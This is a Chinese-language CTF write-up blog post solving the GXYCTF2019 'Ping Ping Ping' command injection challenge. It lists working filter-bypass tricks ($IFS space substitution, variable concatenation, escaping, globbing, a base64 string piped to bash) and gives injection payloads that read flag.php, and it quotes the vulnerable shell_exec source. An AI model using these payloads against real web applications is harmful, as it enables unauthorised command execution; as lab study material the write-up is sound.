[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping#

命令执行相关的漏洞,正常可以执行,然后测试测试哪些符号或者命令可能被过滤掉了

image-20220505101406322

发现简单的 ; 符号都没过滤,直接 cat 一下 flag.php 吧

image-20220505101521474

发现这里有过滤 空格 ,可以试试其他绕过空格限制的方法。

# Linux 下绕过空格限制
$IFS # Internal Field Separator (内部字段分隔符)默认为(空格、制表符、换号)。
${IFS}
$IFS$1 //改成$[1,2,3,4,5,6,7,8,9]
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 
$'\x20'

# 过滤关键字
a=g;b=fla$a.php;cat$IFS$1$b  # 赋值引用
ca\t fl\ag.php	# 不影响命令执行
cat f*.php		# 匹配关键字
echo  "Y2F0IGZsYWcucGhw" | base64 -d | bash  # cat flag.php的base64编码通过管道执行
cat `ls` #ls出来的文件名都会被cat

image-20220505101725643

经过一系列的尝试和奔溃,发现过滤了 ['、{}、flag严格的匹配、空格、<、%、?、*],最终还是发现了蛛丝马迹啊。

image-20220505111831343

# payload
?ip=127.0.0.1;cat$IFS$1index.php
    
# 源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

# 简直都快过滤的一点不剩了这。

但是可以发现 IFS1和 $ 号 并没有被过滤,说明还是不是很严格啊。

# 利用linux中的赋值将flag.php字符串分开,再引用变量构造payload
?ip=127.0.0.1;a=f;b=ag;c=l;cat$IFS$a$c$b.php

image-20220505113138031

没看到 flag 啊啊 啊 啊 !不要慌 [Ctrl+Shift+i] 试试。

作者:knsec

出处:https://www.cnblogs.com/knsec-cnblogs/p/16582255.html

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

备注:你可以在这里自定义其他内容,支持 HTML

posted @ 2022-08-13 10:38  knsec  阅读(104)  评论(0)    收藏  举报
相关博文:
阅读排行:
· 历时半年,我将一个大型asp.net的零代码快速开发平台转成了java
· C#实现语音预处理:降噪、静音检测、自动增益(附Demo源码)
· 推荐五大AI+MCP自动化测试工具!
· 记一次 .NET 某无语的电商采集系统 CPU爆高分析
· Spring Boot 启动优化实践
more_horiz
keyboard_arrow_up dark_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示